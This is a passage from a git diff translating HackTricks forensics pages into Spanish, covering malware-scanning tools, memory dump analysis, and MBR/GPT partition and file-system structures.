2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Parte 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### Instalar ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### Escanear ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** detecta capacidades **potencialmente maliciosas** en ejecutables: PE, ELF, .NET. Así que encontrará cosas como tácticas de Att\&ck, o capacidades sospechosas como: -- check for OutputDebugString error -- run as a service -- create process +- verificar el error de OutputDebugString +- ejecutarse como un servicio +- crear proceso -Get it int he [**Github repo**](https://github.com/mandiant/capa). +Consíguelo en el [**repositorio de Github**](https://github.com/mandiant/capa). ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC significa Indicador de Compromiso. Un IOC es un conjunto de **condiciones que identifican** algún software potencialmente no deseado o **malware** confirmado. Los Blue Teams utilizan este tipo de definición para **buscar este tipo de archivos maliciosos** en sus **sistemas** y **redes**.\ +Compartir estas definiciones es muy útil, ya que cuando se identifica malware en una computadora y se crea un IOC para ese malware, otros Blue Teams pueden usarlo para identificar el malware más rápido. -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +Una herramienta para crear o modificar IOCs es [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +Puedes usar herramientas como [**Redline**](https://www.fireeye.com/services/freeware/redline.html) para **buscar IOCs definidos en un dispositivo**. ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) es un escáner para Indicadores Simples de Compromiso.\ +La detección se basa en cuatro métodos de detección: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) es un escáner de malware para Linux lanzado bajo la licencia GNU GPLv2, que está diseñado en torno a las amenazas que enfrentan los entornos de alojamiento compartido. Utiliza datos de amenazas de sistemas de detección de intrusiones en el borde de la red para extraer malware que se está utilizando activamente en ataques y genera firmas para la detección. Además, los datos de amenazas también se derivan de las presentaciones de los usuarios con la función de verificación de LMD y recursos de la comunidad de malware. ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +Herramientas como [**rkhunter**](http://rkhunter.sourceforge.net) se pueden utilizar para verificar el sistema de archivos en busca de posibles **rootkits** y malware. ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) es una herramienta que intentará encontrar cadenas ofuscadas dentro de ejecutables utilizando diferentes técnicas. ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper](https://github.com/Th3Hurrican3/PEpper) verifica algunas cosas básicas dentro del ejecutable (datos binarios, entropía, URLs e IPs, algunas reglas de yara). ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) es una herramienta que permite obtener información de ejecutables de Windows como importaciones, exportaciones, encabezados, pero también verificará virus total y encontrará técnicas potenciales de Att\&ck. ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) es una herramienta para detectar si un archivo está **encriptado** y también encontrar **empaquetadores**. ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) es un script de Python que utiliza una variedad de **métodos estadísticos** para detectar contenido **ofuscado** y **encriptado** dentro de archivos de texto/script. El propósito de NeoPI es ayudar en la **detección de código de shell web oculto**. ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) hace su mejor esfuerzo para detectar **código ofuscado**/**sospechoso** así como archivos que utilizan funciones de **PHP** a menudo usadas en **malwares**/webshells. ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +Al revisar alguna **muestra de malware**, siempre debes **verificar la firma** del binario, ya que el **desarrollador** que lo firmó puede estar ya **relacionado** con **malware.** ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +## Técnicas de Detección -## Detection Techniques +### Apilamiento de Archivos -### File Stacking +Si sabes que alguna carpeta que contiene los **archivos** de un servidor web fue **actualizada por última vez en alguna fecha**. **Verifica** la **fecha** en que todos los **archivos** en el **servidor web** fueron creados y modificados, y si alguna fecha es **sospechosa**, revisa ese archivo. -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +### Líneas Base -### Baselines +Si los archivos de una carpeta **no deberían haber sido modificados**, puedes calcular el **hash** de los **archivos originales** de la carpeta y **compararlos** con los **actuales**. Cualquier cosa modificada será **sospechosa**. -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +### Análisis Estadístico -### Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +Cuando la información se guarda en registros, puedes **verificar estadísticas como cuántas veces se accedió a cada archivo de un servidor web, ya que un shell web podría ser uno de los más**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 0d48e3bc2..c55caf792 100644 --- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# Análisis de volcado de memoria {{#include ../../../banners/hacktricks-training.md}} -
+## Comenzar -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Start - -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +Comienza **buscando** **malware** dentro del pcap. Usa las **herramientas** mencionadas en [**Análisis de Malware**](../malware-analysis.md). ## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Volatility es el principal marco de código abierto para el análisis de volcado de memoria**. Esta herramienta de Python analiza volcados de fuentes externas o VMs de VMware, identificando datos como procesos y contraseñas basados en el perfil del SO del volcado. Es extensible con plugins, lo que la hace altamente versátil para investigaciones forenses. -**[Find here a cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** +**[Encuentra aquí una hoja de trucos](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** -## Mini dump crash report +## Informe de fallo de mini volcado -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +Cuando el volcado es pequeño (solo algunos KB, tal vez unos pocos MB) entonces probablemente sea un informe de fallo de mini volcado y no un volcado de memoria. ![](<../../../images/image (216).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Si tienes Visual Studio instalado, puedes abrir este archivo y vincular información básica como el nombre del proceso, arquitectura, información de excepciones y módulos que se están ejecutando: ![](<../../../images/image (217).png>) -You can also load the exception and see the decompiled instructions +También puedes cargar la excepción y ver las instrucciones decompiladas ![](<../../../images/image (219).png>) ![](<../../../images/image (218) (1).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +De todos modos, Visual Studio no es la mejor herramienta para realizar un análisis en profundidad del volcado. -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +Deberías **abrirlo** usando **IDA** o **Radare** para inspeccionarlo en **profundidad**. ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index 02ab3ddf6..dbb26bc62 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,147 +1,145 @@ -# Partitions/File Systems/Carving +# Particiones/Sistemas de Archivos/Carving {{#include ../../../banners/hacktricks-training.md}} -## Partitions +## Particiones -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +Un disco duro o un **SSD puede contener diferentes particiones** con el objetivo de separar datos físicamente.\ +La **unidad mínima** de un disco es el **sector** (normalmente compuesto de 512B). Por lo tanto, el tamaño de cada partición debe ser un múltiplo de ese tamaño. ### MBR (master Boot Record) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +Se asigna en el **primer sector del disco después de los 446B del código de arranque**. Este sector es esencial para indicar a la PC qué y de dónde debe montarse una partición.\ +Permite hasta **4 particiones** (como máximo **solo 1** puede estar activa/**arrancable**). Sin embargo, si necesitas más particiones, puedes usar **particiones extendidas**. El **byte final** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede marcarse como activa.\ +MBR permite **máx 2.2TB**. ![](<../../../images/image (489).png>) ![](<../../../images/image (490).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Windows** (si se utiliza Windows). La letra de unidad lógica del disco duro depende de la Firma de Disco de Windows. Cambiar esta firma podría impedir que Windows arranque (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../images/image (493).png>) -**Format** +**Formato** -| Offset | Length | Item | +| Offset | Longitud | Elemento | | ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| 0 (0x00) | 446(0x1BE) | Código de arranque | +| 446 (0x1BE) | 16 (0x10) | Primera partición | +| 462 (0x1CE) | 16 (0x10) | Segunda partición | +| 478 (0x1DE) | 16 (0x10) | Tercera partición | +| 494 (0x1EE) | 16 (0x10) | Cuarta partición | +| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA | -**Partition Record Format** +**Formato del Registro de Partición** -| Offset | Length | Item | +| Offset | Longitud | Elemento | | --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = arrancable) | +| 1 (0x01) | 1 (0x01) | Cabeza de inicio | +| 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6-7) | +| 3 (0x03) | 1 (0x01) | Cilindro de inicio, 8 bits más bajos | +| 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | Cabeza final | +| 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6-7) | +| 7 (0x07) | 1 (0x01) | Cilindro final, 8 bits más bajos | +| 8 (0x08) | 4 (0x04) | Sectores precedentes a la partición (little endian) | +| 12 (0x0C) | 4 (0x04) | Sectores en la partición | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +Para montar un MBR en Linux, primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -And then use the following code +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) +Y luego usa el siguiente código ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (Dirección de bloque lógico)** -**LBA (Logical block addressing)** +**La dirección de bloque lógico** (**LBA**) es un esquema común utilizado para **especificar la ubicación de bloques** de datos almacenados en dispositivos de almacenamiento de computadoras, generalmente sistemas de almacenamiento secundario como discos duros. LBA es un esquema de direccionamiento lineal particularmente simple; **los bloques se localizan mediante un índice entero**, siendo el primer bloque LBA 0, el segundo LBA 1, y así sucesivamente. -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT (Tabla de particiones GUID) -### GPT (GUID Partition Table) +La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidades mejoradas en comparación con MBR (Registro de arranque maestro). Distintiva por su **identificador único global** para particiones, GPT se destaca en varios aspectos: -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +- **Ubicación y tamaño**: Tanto GPT como MBR comienzan en **sector 0**. Sin embargo, GPT opera en **64 bits**, en contraste con los 32 bits de MBR. +- **Límites de partición**: GPT admite hasta **128 particiones** en sistemas Windows y acomoda hasta **9.4ZB** de datos. +- **Nombres de particiones**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode. -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +**Resiliencia y recuperación de datos**: -**Data Resilience and Recovery**: +- **Redundancia**: A diferencia de MBR, GPT no confina la partición y los datos de arranque a un solo lugar. Replica estos datos a lo largo del disco, mejorando la integridad y resiliencia de los datos. +- **Verificación de redundancia cíclica (CRC)**: GPT emplea CRC para asegurar la integridad de los datos. Monitorea activamente la corrupción de datos y, cuando se detecta, GPT intenta recuperar los datos corruptos de otra ubicación del disco. -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +**MBR protector (LBA0)**: -**Protective MBR (LBA0)**: - -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio MBR legado pero está diseñada para evitar que utilidades más antiguas basadas en MBR sobrescriban erróneamente discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT. ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>) -**Hybrid MBR (LBA 0 + GPT)** +**MBR híbrido (LBA 0 + GPT)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +En sistemas operativos que admiten **arranque basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede seguir utilizándose para almacenar la primera etapa del código del **bootloader**, pero **modificado** para reconocer **particiones GPT**. El bootloader en el MBR no debe asumir un tamaño de sector de 512 bytes. -**Partition table header (LBA 1)** +**Encabezado de la tabla de particiones (LBA 1)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +El encabezado de la tabla de particiones define los bloques utilizables en el disco. También define el número y tamaño de las entradas de partición que componen la tabla de particiones (desplazamientos 80 y 84 en la tabla). -| Offset | Length | Contents | -| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| Desplazamiento | Longitud | Contenido | +| -------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)en máquinas little-endian) | +| 8 (0x08) | 4 bytes | Revisión 1.0 (00h 00h 01h 00h) para UEFI 2.8 | +| 12 (0x0C) | 4 bytes | Tamaño del encabezado en little endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) | +| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta el tamaño del encabezado) en little endian, con este campo en cero durante el cálculo | +| 20 (0x14) | 4 bytes | Reservado; debe ser cero | +| 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) | +| 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) | +| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (LBA del último de la tabla de particiones primaria + 1) | +| 48 (0x30) | 8 bytes | Último LBA utilizable (LBA del primero de la tabla de particiones secundaria − 1) | +| 56 (0x38) | 16 bytes | GUID del disco en endian mixto | +| 72 (0x48) | 8 bytes | LBA inicial de un array de entradas de partición (siempre 2 en la copia primaria) | +| 80 (0x50) | 4 bytes | Número de entradas de partición en el array | +| 84 (0x54) | 4 bytes | Tamaño de una única entrada de partición (generalmente 80h o 128) | +| 88 (0x58) | 4 bytes | CRC32 del array de entradas de partición en little endian | +| 92 (0x5C) | \* | Reservado; debe ser ceros para el resto del bloque (420 bytes para un tamaño de sector de 512 bytes; pero puede ser más con tamaños de sector más grandes) | -**Partition entries (LBA 2–33)** +**Entradas de partición (LBA 2–33)** -| GUID partition entry format | | | -| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| Formato de entrada de partición GUID | | | +| ------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | +| Desplazamiento | Longitud | Contenido | +| 0 (0x00) | 16 bytes | [Tipo de partición GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian mixto) | +| 16 (0x10) | 16 bytes | GUID de partición único (endian mixto) | +| 32 (0x20) | 8 bytes | Primer LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) | +| 48 (0x30) | 8 bytes | Banderas de atributos (por ejemplo, el bit 60 denota solo lectura) | +| 56 (0x38) | 72 bytes | Nombre de la partición (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unidades de código) | -**Partitions Types** +**Tipos de particiones** ![](<../../../images/image (492).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +Más tipos de particiones en [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -### Inspecting +### Inspección -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector utilizando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la imagen siguiente se detectó un **MBR** en el **sector 0** e interpretado: ![](<../../../images/image (494).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI PART_ en el **sector 1** (que en la imagen anterior está vacío). -## File-Systems +## Sistemas de archivos -### Windows file-systems list +### Lista de sistemas de archivos de Windows - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,49 +149,49 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +El sistema de archivos **FAT (Tabla de asignación de archivos)** está diseñado en torno a su componente central, la tabla de asignación de archivos, situada al inicio del volumen. Este sistema protege los datos manteniendo **dos copias** de la tabla, asegurando la integridad de los datos incluso si una se corrompe. La tabla, junto con la carpeta raíz, debe estar en una **ubicación fija**, crucial para el proceso de arranque del sistema. -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +La unidad básica de almacenamiento del sistema de archivos es un **cluster, generalmente de 512B**, que comprende múltiples sectores. FAT ha evolucionado a través de versiones: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**, que admite direcciones de cluster de 12 bits y maneja hasta 4078 clusters (4084 con UNIX). +- **FAT16**, mejorando a direcciones de 16 bits, permitiendo así hasta 65,517 clusters. +- **FAT32**, avanzando aún más con direcciones de 32 bits, permitiendo un impresionante 268,435,456 clusters por volumen. -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +Una limitación significativa en todas las versiones de FAT es el **tamaño máximo de archivo de 4GB**, impuesto por el campo de 32 bits utilizado para el almacenamiento del tamaño del archivo. -Key components of the root directory, particularly for FAT12 and FAT16, include: +Los componentes clave del directorio raíz, particularmente para FAT12 y FAT16, incluyen: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **Nombre de archivo/carpeta** (hasta 8 caracteres) +- **Atributos** +- **Fechas de creación, modificación y último acceso** +- **Dirección de la tabla FAT** (que indica el cluster de inicio del archivo) +- **Tamaño del archivo** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2** es el sistema de archivos más común para particiones **sin journaling** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **con journaling** y se utilizan generalmente para el **resto de las particiones**. -## **Metadata** +## **Metadatos** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +Algunos archivos contienen metadatos. Esta información se refiere al contenido del archivo que a veces puede ser interesante para un analista, ya que dependiendo del tipo de archivo, puede tener información como: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- Título +- Versión de MS Office utilizada +- Autor +- Fechas de creación y última modificación +- 